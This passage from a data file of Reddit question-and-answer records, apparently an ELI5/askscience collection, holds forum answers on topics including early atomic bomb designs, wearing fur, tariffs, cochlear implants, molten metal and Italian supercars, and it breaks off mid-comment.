long compared to the explosion type bomb.", "After reading other answers (and learning a lot in the process), I have two follow up questions:\n\n1. Little Boy used a gun-like mechanism. Fat Man used a implosion mechanism. What kind of mechanism today's bombs use?\n\n2. I understand that might be a difference between \"atomic\" and \"nuclear\" bombs? I always used both interchangeably up until now.", "Given that the explosive lenses of the implosive device increased the density of the plutonium core until criticality occurred, what would happen if you replaced the plutonic with a core made of steel?  Would the end result be a sphere of super dense steel?", "The implosion type mechanism used by the Fat Man has a higher yield than the gun type mechanism of the Little Boy. As some other comments have noted, plutonium also released more energy per fission than uranium, but the compression caused by the implosion mechanism allowed for a much larger amount of plutonium to fission. So it was better efficiency-wise and materials-wise.", "Current DOE nuclear weapons engineer here. \n\nIts important to note, that chemical reactions are interactions of the electrons of atoms while nuclear reactions are interactions of the nucleus of an atom, so 'chemical' difference doesnt make sense unless you are referring to the chemistry of the explosives that drive the nuclear resction or other chemcials inside a nuclear bomb.\n\nWhat makes one more powerful than the other? In a \"single stage\" weapon like fat man and little boy (as opposed to two stage bombs that use a 'fat man' bomb as the explosives to initiate an even bigger bomb) the factors that determine how much bang you get are: how well enriched your Plutonium (Pu) or Uranium (U) is and how many cycles of chain reactions you can hold it together before the bomb blows itself apart.\n\nSo for fat man and little boy, they could have made one more powerful than the other by putting in more Pu or U in the bombs.\n\nBeyond those two factors (enrichment and how long you can hold it together) it becomes a question of efficiency, not necessarily efficiency in the nuclear package, but efficiency in the rest of the bomb to get the biggest bang in the smallest/lightest package. Fat man for example had a really small nuclear core (actual size is classified) but by the time you get all the explosives, tampers, and other things packed in there, you have an enormous 6Ft-ish diameter bomb that they had to modify a B29 just to drop it.\n\nOver the years we have found many ways to turn an enormous fat man bomb into a much smaller much more powerful package. All wespons in the current US stockpile are 'fat man' types (only two stage instead of single stage)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5yl4qp", "title": "suppose i was wearing raw animal skin to keep warm. would i be warmer wearing it fur side out or fur side in? why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yl4qp/eli5_suppose_i_was_wearing_raw_animal_skin_to/", "answers": {"a_id": ["deqwt9f", "deqwwcv", "der07yf"], "score": [2, 5, 5], "text": ["Inside. Fur keeps animals warm because it's against their skin.  If you had it turned outward, you'd only have the skin to hold your warmth, as opposed to fur that's meant to hold warmth.  Also, raw presumably would be bloody, which wouldn't help much lol.  It's like insulation to wrap yourself in fur with the skin on the outside to act as a shield against thr weather.", "I'm reasonably confident that fur side in would be warmest, although possibly not as comfortable. \n\nThermal insulators like hair, glass fibre etc. do so by trapping air to create a layer where heat is not being significantly convected by moving air. Heat conduction is a much slower process, and so much less hest is lost. \n\nHowever, wearing it fur inwards may reduce the thickness of the still, insulating air layer and so might not be as effective as wearing it fur out. I'm not sure there's a simple logical way to determine which - you'd need to experiment. ", "Inside, without a doubt.\n\nI had a bomber jacket from WWII (like, one actually worn by a member of the Army Air Corp on a bomber over Germany and the Pacific), and it was made of a single layer of sheepskin, with the fleece on the inside. The skin side stops the wind, the fleece side traps pockets of air against your body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "45zeon", "title": "why do we not tariff companies who outsource their manufacturing overseas?", "selftext": "The United States has had a long standing problem with losing jobs from American companies sending their manufacturing overseas. Why do we not charge those same companies tariffs equal to the difference in cost of labor?\n\nI'm under the belief that if we did, most likely, these companies would increase the costs of their products to cover the tariffs received by outsourcing labor, however by increasing costs, consumers in America would no longer purchase the products with these new prices over a comparable product made here in the United States; thus losing the business of the American Consumer, and in turn be more motivated to return manufacturing to the United States.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45zeon/eli5_why_do_we_not_tariff_companies_who_outsource/", "answers": {"a_id": ["d01842z", "d018ad9", "d018bry", "d0190of", "d01czgw", "d01hydf"], "score": [5, 41, 8, 2, 2, 4], "text": ["We still have some tariffs, but between trade agreements to mutually drop tariffs with countries (so they are more likely to buy OUR goods) and the influence of big companies finding it profitable to drop tariffs, we have moved away from them. Tariffs make buying foreign goods more expensive so they do have SOME negative consequences for the consumer, though it is debatable whether that is worth the disadvantages. \n\n_URL_0_", "Under this proposal, foreign companies who manufacture their products abroad and sell within the USA would then quickly become the cheapest option. This would mean many American companies would lose their competitive edge against foreign companies, and most of them would go bankrupt, leading to a lot of job losses. Some might be able to switch to a 'local manufacturing, high standards!' sort of appeal/niche, but that won't work for everybody. \n\nYou could start blocking foreign companies, but then you are really starting to step on toes when it comes to the whole world wide free trading thing, and you might start getting backlash across the world with American products then getting high tariffs when they want to export to foreign countries.\n\nMeanwhile most consumers will just see the cheaper prices and be 'fuck it, we want those'. A lot of people are quick to yell about 'omg our jerbs' but when push comes to shove, they do not back up that yelling with their wallet. So it wouldn't necessarily be a popular measure either. ", "The United States could enact such a tariff. It could do so by placing a tariff for all manufactured goods on countries with cheap labor or it could place a similar tariff only on American companies. \n\nIn the first situation, we run into free trade issues. If we place a tariff on all manufactured goods from, say, China, then China will retaliate economically and we would also probably be breaking some sort of free trade agreement. Some tariffs like this may be useful for the US, but for the most part the US has entered agreements to not place tariffs on such goods in exchange for other concessions from the countries where the manufacturing is taking place.\n\nThe second situation screws over American companies without really helping anything. American companies will likely still manufacture in the countries where labor is cheap because they'll still be able to sell their goods locally or export them to other international markets. The only difference would be that they can now no longer import the goods into the US. It wouldn't help local manufacturing either because non-American companies would still be able to take advantage of the cheap labor and sell their goods in the US cheaply.", "Presumably you'd agree that replacing people's jobs with computers and robots has been hugely beneficial to the economy. Jobs are lost in the short term, but over the longer term everybody gets wealthier.\n\nWell, there's no real difference between that and offshoring work. We send money to some sort of \"black box\" and get goods back cheaper than our workers could have produced them. From the point of view of the US economy it doesn't matter whether that \"black box\" contains computers and robots or Chinese workers. Putting a tariff on goods produced by overseas workers is no different to putting one on goods produced automatically.\n\nOne possible long-term consequence of automation/offshoring is that the most unskilled in society might not be able to find jobs. We might need a policy response like a universal basic income. But preventing companies from making things more efficiently is not good policy.", "There's a bunch of things.\n\n1)\nOther countries might tariff us in retaliation. This can get pretty ugly really fast. We have a lot of ties with china,so even if we end up bringing jobs back,companies that rely on them get screwed hard (plus you waste all that stuff you already built). If you want an example,we raised tariffs on solar panels,because Chinese companies were dumping them below cost. In return, China threw a hissy fit. I forget the exact terms,but I believe they started calling our chicken unfit (something we export).\n\n2)\nwe signed a lot of free trade agreements. It's illegal for us in many cases to tariffs. It was assumed this was a good idea (see more below)\n\n3)\nWe though free trade is always better. We're finding out now that this isn't always the case,but it caught basically all economists off guard. There was a very high consensus that even though certain sectors would lose jobs,they'd just move to other (better paying) sectors.\n\nWe're just finding out it's not that simple.  A very influential paper on this literally just came out like a month ago,looking at this. But right now,no one really knows what went wrong.\n\nIt's a bit late though,we can't go back.", "Every history of the Great Depression of the 1930's includes a long discussion of [The Smoot-Hawley Tarriff Act](_URL_0_) which did largely what OP is suggesting. That did not go well, and it is a lesson we should learn from.\n\nIt is now, 80 years later, not considered to be *the* primary cause of the Great Depression, but it was at the time, and it is still agreed to have contributed substantially to the World's economic problems of the times.\n\nBesides, you are about 30 (or more) years too late. There are many free-trade agreement such as NAFTA that would be abrogated by such a policy, and the WTO (World Trade Organization would impose economic retaliations on the U.S. for unilateral violatins of previous economic agreements.  Anyhow, which American industries are you trying to save? We don't manufacture much besides Airplanes, heavy equipment, and cars.  The auto industry is doing fine, with Honda, Toyota, Hyundai, BMW, all manufacturing cars in the United States. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Tariffs_in_United_States_history"], [], [], [], [], ["http://www.economist.com/node/12798595"]]}
{"q_id": "1f05hc", "title": "why are cochlear implants stigmatized by the deaf community?", "selftext": "Is it because it pathogenizes a non-issue, or is it an issue of abandoning your community, or something else?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1f05hc/eli5_why_are_cochlear_implants_stigmatized_by_the/", "answers": {"a_id": ["ca5iulo", "ca5ixr0", "ca5lik9", "ca5mzbu", "ca5n9ez", "ca5p9u3", "ca5pg7u", "ca5qf3b"], "score": [42, 121, 10, 6, 18, 2, 3, 10], "text": ["I think it's implication that deafness is something that needs to be 'fixed' as it implies there's something wrong with them. At lot life with deafness their whole life and view it as not only normal but something to be proud of. I imagine for some there's a bit of aversion because it will feel like you're abandoning the community (if they're part of one)\n\nThen again, that's just my speculation since I have zero connection to the deaf community. ", "There's a few issues the Deaf community has with it.   \nCochlear implants are most effective when implanted in a child at a young age. The issue that the Deaf community has with this is that the child isn't usually old enough to be fully informed about this decision  &  the risks involved,  &  often doesn't have much choice in the matter.\n\nThey also feel its an invasive  &  destructive surgery (elaborated further below) that is unnecessary, as they already have access to a range of fully formed sign languages  &  are able to live a successful life using these languages. They don't believe deafness is something that needs to be cured, rather as an important part of their identity.\n\nThe quality of hearing from a cochlea implant is also not really comparable to natural hearing,  &  current cochlea implant surgery shaves all the hair cells in your ear that are used for hearing, so it can result in the loss of any form of natural hearing that the patient already has. \n\n[Deaf Australia's policy on Cochlea Implants presents their reasoning in more detail if you're interested.](_URL_0_)", "Compare with limb lengthening surgeries for smaller people and their reactions.", "I work with a deaf man and the way I as a hearing person with limited asl skills is that I have the disability because I can hear.  Like they can communicate with me but somehow my lack of asl makes me somekind of barely civilized savage.  Therefore getting a hearing aid would be uncivilized.", "I'm unilaterally deaf. If not for the expense, I'd get an implant in a heartbeat. I suspect the greatest stigmatization comes from those who haven't ever had their hearing (vs people like me... who 'lost' the capacity).", "There is a film called sound and fury which explains the arguments for and against in a documentary fashion. It also spends a lot of time on the cultural implications an implant may bring (are you still a member of the deaf community if you have an implant and can hear etc.) Its more than slightly biased towards the implants but is interesting none the less", "Because everybody needs to have a \"thing\" and if you mess with someone's \"thing\" they'll turn into righteous dicks. Fucking apes.", "/u/tuckels has it all wrong. \n\nits not been about informed consent or anything like that. \n\nThe major stigma (which as been in decline for years) is about your \"removal\" from the deaf community. \nMany deaf people do not view being deaf as a handicap, they view it as being a part of a \"subculture\" very much like being black or part of a punk rock group. There are universities and small towns that are entirely dedicated to deaf community, where everyone knows sign language, even the hearing. \n\nThere are even some families that want deaf children so that they fully integrate into the community and worry about the child's speech development when they grow up in a deaf household.  (Often they need to go to speech therapy) \n\nBy getting a cochlear implant is like a punk rocker shaving off their mohawk, they are no longer a part of the deaf community (which is small as it is) and there is a fear that they will leave it for good. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.deafau.org.au/info/policy_cochlear.php"], [], [], [], [], [], []]}
{"q_id": "1wekts", "title": "if you leave metal in a liquid state does it eventually evaporate like water?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wekts/eli5_if_you_leave_metal_in_a_liquid_state_does_it/", "answers": {"a_id": ["cf190y6", "cf192nh", "cf197en"], "score": [6, 28, 4], "text": ["If it gets hot enough it will, just because something has a high specific heat doesn't mean it won't follow phase changes unless it sublimates. \n\nThis is how they purify alloys, you mix a bunch of metal together then burn off the impurities. When the temp gets hot enough the impurities will evaporate leaving only a pure alloy. ", "with high enough temperatures it'll turn into a fog, and eventually iron rain. that happens on brown dwarf stars.", "It is theoretically possible, but unless you're evaporating the metal into a extremely hot, near-vacuum controlled setting in a lab, any given atom won't stay evaporated for any significant amount of time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "21n6u8", "title": "Will I have a better chance of waking someone up by saying \"wake up\" as opposed to some random gibberish?", "selftext": "I guess I'm wondering can the brain distinguish that this command could be important and can filter it out of other seemingly unimportant noises?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21n6u8/will_i_have_a_better_chance_of_waking_someone_up/", "answers": {"a_id": ["cggwqn0"], "score": [3], "text": ["Cognition continues during sleep, allowing us to process the meaning of stimuli and assess whether it is worth waking for (i.e., needs our attention). This is why mothers of infants and young children will waken to their cries even if they are otherwise asleep and unresponsive. Similarly, a person who moves to a new home close to an airport will, at first, waken easily when planes fly overhead. Eventually, however, they will sleep through the sounds of the planes. Actually, they will awaken very briefly and probably not remember doing so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wnh2e", "title": "are our hobbies and interests entirely a result of our upbringing, or are we predisposed to take pleasure from certain things?", "selftext": "Is there any evidence as to how or why people gravitate towards the things they do throughout their life? From careers, to hobbies, to what food they like, to their preference in music and clothing. What makes us *us*? Myself and my siblings are all so different from each other in every way and it got me thinking about whether the things that interest us are a matter of nature, nurture, both or neither.\n\nA Google search returned little more than \"because we're different\", so I was hoping someone may have some insight as to what's actually happening when we start to take a liking to something. Thanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wnh2e/eli5_are_our_hobbies_and_interests_entirely_a/", "answers": {"a_id": ["cf3nqfn", "cf3nvty", "cf3nzbw", "cf3o4w6", "cf3oa0c", "cf3oajh", "cf3td01"], "score": [23, 2, 8, 3, 4, 2, 2], "text": ["As is often the case with these sorts of things, it is a mix of nature and nurture that creates interests in people. ", "I think this is more of a /r/askscience question with emphasis on psychology. Good luck getting your answer!", "It has to be a combination of both. \n\nIf you aren't ever exposed to something, you won't understand it, or even know it exists so you can't ever enjoy it or become accustomed to it. I've never played cricket. It might be the most fun game in the world for all I know, but it's not around me, no one I know plays it, and I've never heard of a local pick up game, so in all likelihood I will live out the rest of my days having never played cricket.\n\nHowever, just because you are repeatedly exposed to something doesn't mean you will like it. Especially not enough to take it up voluntarily as a regular activity or behavior. I live in the Midwest. I hear (pop)country music all the time. There are about 6 FM radio stations that play it in the area, many bars and restaurants with it on the jukebox, and lots of cars blaring it with the windows down. But, I don't like it, and I'm convinced at this point in my life that no amount of exposure will change that.", "Actually what a lot of people fail to understand is that our lives are not lived by free will. And in this instance, the hobbies you like are a result of genetics and environment (upbringing)\n\nTo elaborate more on this. Every decision. Every action and every molecule ever in your body, in your brain, everything that creates your thoughts and desires. Is a result of a previous action of molecules and atoms. So the desire of you having a hobby about say painting portrets of Peter Dinklage, is a result of your environment moulding you over the years. To oversimplify it, let's say your mother always liked little things, and told you about this. This action moulded your hobby. However, your mother liking little things was also moulded by her environment in her lifetime, by other factors. And those factors were also made possible due to other factors even further back in the past. etc.. etc.. etc..\n\nEven choices you make that appear as free will, happen only because your brain makes that choice for you, as the atoms in your brain only lined up in such a way to create that choice.\n\nSo in a way you could even say that since the beginning of time, everything was going to happen as it is happening now. The whole universe is like one HUGE incredible rube goldberg machine.\n\nELI5 edition: it's a result of upbringing and genetics combined", "I don't think so. I grew up in a pretty conservative household, and I'm very liberal. I have a \"non-traditional\" look to myself while my parents are very clean cut. I'm a musician when there are absolutely none on my family tree. It's definitely not a matter of resentment, either. I love my parents, they cool as shit.", "I think it's a combination of both. We do inherit traits that predispose us to like certain hobbies or tasks and dislike others. For example, my Dad is a computer software engineer and I'm a web developer. Those traits that allow you to push other thoughts out of your mind while your troubleshooting something seems to be generic, but my environment is what solidified it. If it wasn't for having a Commodore 64, an Atari and Nintendo game consoles, or the fact that we were middle class growing up so even though we could afford to buy a new family computer I had to research how to upgrade the family's hardware and software on the cheap I might not have the same interests or be in the same profession. \n\nMy sister has the same genes as me but she wasn't given the opportunities with computers and electronics because she never had an interest in it - whereas if I got some something new that was made out of electronics I would be attached to it like glue. So it's a combination. Obviously, I'm using myself as anecdotal evidence but this is online with everything I have read. We still don't know what's ultimately more important - nature or nurture. I happen to think it is nurture but that could be wishful thinking on my part. It's not yet conclusive what's more important. ", "I read an article about identical twins who were separated at birth. They ended up with the same job with the same facial hair. Kinda neat. \n\nI'd look up the story, but I'm at work and I don't want to anyway. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8cvbsh", "title": "why were transits systems built much faster and more reliable in europe than in canada?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cvbsh/eli5_why_were_transits_systems_built_much_faster/", "answers": {"a_id": ["dxi4nho"], "score": [3], "text": ["Cities(and thus dense centre's of population) are much farther away in Canada than they are in Europe. It's much easier to build a good transit network to get 500, 000 people where they need to go, when they only need to go a shorter distance. This can easily be seen in canadian geography as our major cities are quite far away from each other (excluding the GTA). Even Calgary to Edmonton is a good 3 hours drive away, let alone going to Vancouver or Saskatoon or Regina. In Europe, because the cities are much closer together, you can spend more on the quality of the transit networks, simply because you do not have to make such a large quantity of them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "46ti4d", "title": "why italy has a lot of \"supercar\" status car companies (ferrari, lamborghini, pagani, etc) when we never hear about their prowess in engineering so much as say the germans", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46ti4d/eli5_why_italy_has_a_lot_of_supercar_status_car/", "answers": {"a_id": ["d07rt69", "d07t14y", "d07t66k", "d07tj59", "d07to1v", "d07uswy", "d07x37x", "d07xi6s", "d07yc2i", "d07yibm", "d07ykeh", "d07ykwf", "d07yldr", "d07yonn", "d07ytv8", "d07yu4z", "d07yz7u", "d07z07e", "d07z1a9", "d07z4i4", "d07zbna", "d07zd0i", "d07zg94", "d07zj99", "d07zyzc", "d07zzgc", "d08004f", "d0801sv", "d080d59", "d080f7q", "d081a7h", "d081cm3", "d081lzk", "d081z2k", "d082b6t", "d083jbp", "d083l6g", "d083ow5", "d083r0c", "d083wde", "d084ctx", "d084ze4", "d0850ic", "d0853nd", "d0855jo", "d085ame", "d085d6r", "d08602o"], "score": [24, 1724, 6, 61, 693, 2, 153, 299, 11, 109, 20, 16, 13, 44, 44, 10, 77, 5, 2, 8, 4, 20, 12, 2, 3, 56, 5, 6, 34, 5, 2, 176, 34, 2, 5, 8, 4, 3, 2, 2, 2, 7, 5, 2, 2, 2, 10, 2], "text": ["Because their supercars are notoriously unreliable:\n_URL_1_\n_URL_0_", "To expand on the above, Italy is traditionally known for a great sense of style in general (women's clothes, men's suits, shoes, car body styles).\n\nItalian engineering is traditionally stereotyped as being great when it works but having low reliability - a lot of breakdowns / need for repairs.\n\nI call it a stereotype because it seems like an over-generalization, but FWIW in my personal experience it does seem to tend to be true in regard to at least both espresso machines and cars.", "Germans go for perfection, whereas Italians go for flash. \n\nInteresting to note that they both improve when combined, ie Bugatti veyron", "And to add on, even German engineering isn't as reliable as the Asians, or even the Americans, as far as vehicles go.   I've got my fair share of experience with BMWs and MBs and while they are a blast to drive, I wouldn't necessarily consider them the most reliable brands.", "The eli5 answer is because the Italian status cars you mentioned are hand made.  They aren't intended for a large market, so smaller production quantities and higher prices allow for more complex body designs and expensive materials.  \n\nGerman companies like BMW and Mercedes Benz are intended for a much larger market and repeatable quality, which requires lots of engineering of the production processes to remove the variability of making things by hand.  This requires making some sacrifices in design because the machines that make the parts have a limited range of geometries that they can produce.  This requires a lot of automation.\n\nThe Italian status cars are wonderful works of design and engineering.  The tradeoff in having so many hands making them is you get more lemons.", "im guessing it has something to do with some of the top car designers Bertone, Pininfarina, and Zagato being from Italy. where as the Germans post war probably transitioned their manufacturing capabilities to focus on the auto industry.", "Look at Pagani vehicles.... beautiful italian styling,  works of arts, but carry the german AMG V12 engine. THAT is what you want. \n\nEdit: I have to clarify that Horacio Pagani is Argentine, but influenced heavily by Bertone and Pininfarina design. He grew up during a time when those guys were designing their best works. \n\nEdit2: fixed the punctuation. Before disgruntled reddit grammar polizei down vote mme off the face of the earth like the dog I am. ", "Italy also produces a lot of regular cars under brands like Fiat and Alfa Romeo. What these cars are known for is unusual styling (sometime beautiful in Alfa Romeo, sometimes horrible in Fiat, who produced the single ugliest car ever made, the Multipla) and absolutely horrid reliability with cheap interiors and rattling, uncomfortable rides. German cars are known for needing some regular maintenance love, but in return providing sculpted good looks, beautiful interiors, and smart, buttoned-down rides. When you compare the engineering efforts in the realm of \"cars you might buy\" you see precious little to recommend Italian engineering. \n\nAs an American in Europe who works in manufacturing I have visited lots of factories in Europe from vendors and suppliers. What I generally see is:\n\n- the English are pretty good engineers (albeit endlessly self-deprecating) who are very willing to MacGuyver their way to a goal. Their universities are well-funded and consistently churn out huge volumes of the best research in the world, but they see themselves as a specialists in cottage industries, low volumes of highly capable things. (Witness that the overwhelming majority of Formula 1 teams are based there.) \n\n- the French are absolutely brilliant engineers who love attempt crazy ambitious things with radical, ingenious designs (fastest trains in the world, biggest planes in the world, tallest viaducts, artificial hearts, etc etc) but have little sense of editing, and tend to deliver designs that are somehow \"twisted.\" Drive a Renault sometime and you will get it - this car would have been twice as good if they just tried to do 10% less with it. \n\n- the Germans are unparalleled at efficiency. A German factory is a palace - clean, organized, automated with the few manual workstations individually designed to minimize movement.  (And usually, but not always, there are pictures of naked women on display at every workstation. Germans factories run on tits.) they are methodical and think of everything. EDIT: What Germans are less motivated by is breaking world records are achieving some amazing new feat. They would rather be the best at making making the best thing than inventing a new thing. When it comes to mass production, they have no peer in Europe. \n\n- Italians make beautiful things in ugly places. Most Italian factories (Ferrari was a HUGE exception) I have seen probably looked amazing in the 80'e but are now decrepit, filthy, and almost Chinese in appearance and feel. Except they usually have amazing conference rooms, and a canteen staffed by a team of grandmothers that make the best cafeteria food you will ever see. But all of their products look good, and are incredibly capable, when they run. I have bought some Italian machines in several different areas. All beautiful, fast, and make great product, but need a lot of spare parts on hand. You know how a lot of Ferrari owners brag about knowing their mechanic? There's a reason why. ", "Did you know that Audi owns Lamborghini and Volkswagen owns Audi  &  Bugatti?", "Another thing to keep in mind is that Ferrari and Maserati were originally intended to be high performance racing cars. The context of a race dictates the sacrifices that need to be made in order to make the car have the best chance at winning.\n\nA fast, high performance vehicle designed to take corners fast and accelerate even faster isn't going to do so well in consistent everyday use.\n\nThese companies did make cars for consumers at large, but largely did not change everything to make a reliable daily driver type vehicle.\n\nSource: went to the ferrari museum last week.", "To begin with its worth mentioning that the conception of Ferrari, Lamborghini and Pagani are all intertwined so it was no coincidence that they are all Italian. \n\nFerrari started by making racecars, not road cars. It was Ferrari's reputation in Motorsport that cemented Italy as a country renowned for its Supercars.\n\nFerruccio Lamborghini was a wealthy tractor maker who started his supercar brand after an insulting encounter with Enzo Ferrari. Horacio Pagani worked for Lamborghini for many years before starting his own business making carbon fibre parts then eventually using his expertise to build the Zonda. \n\nItaly is also traditionally known all around the world as a hub for style, design and fashion which has bolstered the reputation of its supercar industry. ", " > when we never hear about their prowess in engineering so much as say the Germans \n\n_URL_0_\n\nItaly may not be the stereotypical country that is known for engineering but it has a fairly old tradition of science and reason. Why wouldn't they be able to make the finest limited production cars? \n\nThat said, in recent years their supercar brands have been challenged and I personally don't consider them as still being the best. If I had the money for a million Euro car, I'd buy a Rimac Concept_One, while others less interested about the environment would probably opt for a Bugatti.", "German engineering prowess is a stereotype that comes from many cultural idiosyncrasies, not just from the car manufacturers. Whether it's their austere nature, great STEM schools, long history in metalwork, and even their methodical soccer teams, it all contributes to your perception of their cars.\n\nItalian cars are better known for flare, because which company better embodies supercar posters than Lamborghini. That doesn't mean their engineering isn't top notch. Obviously their V12s, active aero, F1 diffs, and exotic body panels are all top of the line. \n\nItaly also has a stronger racing history mainly due to Ferrari in F1. That lends to their supercar status.", "When knowledge is absent in the mind, prejudice, superstition and stereotypes fill the mind.\n\nIf one knows history just a bit, he knows that Italians were always known for their mastery of engineering. Starting from ancient Romans.", "Italy is know for making machines that make other things. In a factory you will often see that whatever big impressive looking machine that does the work will be Italian.", "I believe that German technical perfection is some sort of myth (maybe founded) that comes from the 1930s, when the Nazi regime pushed the development of German econony, and in that contest brands like Mercedes, Volkswagen, Porsche and Audi (Auto Union) came to prominence.\n\nItaly earned a name for mechanical excellence almost a decade before, for the very same reasons. Fascism was pushing for Italy to excel in many world records (railways, aviation, etc.).\n\nThe only difference between Italy and Germany is that Germany has been capable of retaining such status in the post-war era, while Italy didn't. But make no mistake about that: in the first part of the XX Century, Italy was one of the most advanced Countries in the World, engineering-wise.\n\nDuring the 1950s brands like Alfa Romeo, Maserati and Lancia were still competing with Mercedes in Formula 1... Just look where they ended up, courtesy of the Agnelli family. \n\nAnd Ferrari is on its way, too, I believe. It's mostly marketing nowadays.", "The amount of stereotypes in this thread...Italy actually has world class designers and engineers. Just to quote one examples out of many, look at Italy's contribution in the design, assembly and testing of the ESA Rosetta probe and philae lander. ", "No one here seams too point out the history of the racing in Italy and how Enzo started his company to fund Scudaria Ferrari. Then there is also the great tale of Ferruccio lamborghini's dis satisfaction of his Ferrari which would lead him to create his own super car to compete with Ferrari. All this led to a gentlemen working for lamborghini as a chief engineer persuading them to buy an autoclave so they could do more carbon fiber work. Sadly Lamborghini was not interested in is suggestion and that man would leave the company. Shortly after some work developing carbon structure race cars he would go on to create his own carbon bodied super cars. That man was Horacio Pagani. Italy was the perfect storm for these companies that took the racing heritage, design, and style to mix it all together into automotive marvels we all lust after today. Even though Ferrari is owned by fiat and Lamborghini Volkswagen that Italian spirit still live on in their creations. ", "Oh hey I know part of this.\n & nbsp;  \nIn the days of the Roman Empire, metalworking was a lot more important than the vocation it has become today. Armor had to be produced en masse and it all had to look nice because, well, the Roman Empire.   \n & nbsp;  \nWho do you think did a lot of that metalwork?  \n & nbsp;  \nThat's right. *The Italians*. These cars are the result of a millennium plus of experience.  ", "I think Italy just has more traditional supercar companies than the other countries. There are a lot of niche supercar makers but unless you are a car nut, you might not have heard of them. The image of Italy making sexy fast cars is something that has helped the Italian supercar culture brand. You can say it's a stereotype.   \nWhy aren't they known for Engineering?. The answer is in your question, almost. \n \nWhen you compare German cars to Italian cars. What cars are you comparing?. German mass market cars (Saloons, hatches, wagons, jeeps etc. Cars that can be used more practically and daily) to Italian supercars (track only cars, high revving, high maintenance cars) \n \nSome have mentioned that to make mass market cars the Engineering has to be more precise when compared to hand made cars. This is not completely true. The engineering has to be just as if even more perfect for high performance cars. Because they can run and corner at high speeds, the stress on the car's and it's engine's components are even more than normal cars. They might be hand made, but precision is still present and hand made does not necessarily mean no computers or bots are used. Ferrari emply really sophisticated robots to make parts for their engines. PLUS hand made means that quality can be controlled more precisely.  \n    \n\"Ok, So does that mean Italian supercars are just as reliable as German mass market cars?\"\nNo.  \nAs I said earlier. You are comparing mass market to high performance. One thing you should understand about engines is. The faster you want to go, the more precise all the parts has to be, lesser tolerances because the car basically has to run at higher temperatures and as you may know, with temperature metals expand, and the engineers have to factor this in while designing the engine. One problem is that the supercar also has to run at slow normal speeds at lower temperatures. So the supercar makers compromise. This compromise is where the reliability issues come in. That's why supercars need high maintenance, and the ones that aren't catch fire. On the other hand the German cars we talk about are for people use and only need to operate at low temperatures. So they only have to engineer for smaller range when compared to supercars and hence can make more reliable engines. \n \nTL;DR : \nSupercars have to run at higher and lower temperatures so the engineers have to compromise in engine design so they break down more Whereas German family cars only run at comparatively lower temperatures so the engineers can design a more reliable engine. \n \nTL: DR + ELI5 : Engineers who make Aircrafts might seem more reliable and better than people who make Rocketships. Can't really compare the two. \n \nFun Fact: Formula 1 car engines are only designed to run at very high temperature so they need to bring the engine upto temperature via an external starter and start it.   \n \n", "Doesn't Audi own Lamborghini? ", "Its not like italy has not an industrial output. Italy is industrial, major exports are pieces of engeneering. Maybe these facts are not known around the world. Italy has also a status in sports cars. In fact, lancia in rally, alfa romeo in all around races, ferrari in F1, lamborghini, pagani as supercars. But also ducati in motogp. As a make becomes famous in a top class competition, its automatic it will sell good. Italians are proud of their renomated cars, so i dont understand exactly the question. If america looks at germany and sees much more engeneering than it sees in italy, idk, probably it's america's fault. I dont really understand the hate towards fiat group engines i always hear. Fiat can be blamed for cheap plastics, but their cars are tested a lot, in every condition, good engineers are behind fiat cars. And the engines are a world's best.", "A point I havent seen made yet is that when Italy abandoned the Lira and went to the Euro they lost the ability to control the value of their currency and make their exports cheaper.   Fiat and alfa suffered because of this.  Italian export cars dropped their market share.  \n", "I think it probably has to do with motorsports, Ferrari has the most Formula 1 wins (224), more wins more money for R & D, meaning more engineers more manufacturing. So the more jobs opening up for engineers specializing in performance cars the more supercars. \n\nEngland is another good example, they have Mclaren, Williams, and Lotus all great teams with lots of wins. England has Ariel, Ascari, Aston Martin, Bentley, Caterham, Jaguar, Lotus, Mclaren, Noble, etc... All either currently producing or previously made supercars.\n\nItaly also has a very long history of [manufacturing cars](_URL_0_). Everybody likes to talk shit about their reliability, but just like German and American cars, they're reliability is totally dependant on how well kept and maintained they are. They aren't nearly as bad as most people make them out to be. \n", "Italians have the branding behind them now. \"Italian Car\" is almost synonymous with \"luxury car\" at this point.\n\nAnyone else who wants to start their own brand would be fighting a steep uphill battle because they will have nothing but pure quality to push their brand. And when it comes to expensive cars, your startup will be through the roof. Very few people have the knowhow, talent, AND money to make that happen.", "I have never read so many bad comments on a single thread. So many generalizations. Italy has done a lot to further science and engineering, which are overshadowed, especially in North America, by the stereotype of Italians based mostly on Italian immigrants from southern Italy. In Europe this is less pronounced. To draw an impression on Italian engineering based on the market of supercars or their food or fashion industry is not only ignorant, it is also very superficial. All these insults towards FIAT, etc. At least Italians were among the first to employ front-wheel drive while other countries trailed behind. The list of Italian manufacturing companies in the many different industry sectors is very long. Unfortunately many of these companies don't export to North America and so it could seem that Italy does little in engineering because of this. Just take, for example, only a list of automotive companies in Italy: _URL_1_\n\nOr better yet, start from this list of companies in Italy (incomplete, of course)\n\n_URL_0_", "As a person that's very in tune to the automotive scene, i observe the opposite. The Germans take that tech and engineering and make it available to everyday consumers. Ferrari, Pagani, (not Lamborghini because they're a subsidiary of Audi and lots of their tech is partially trickling down from 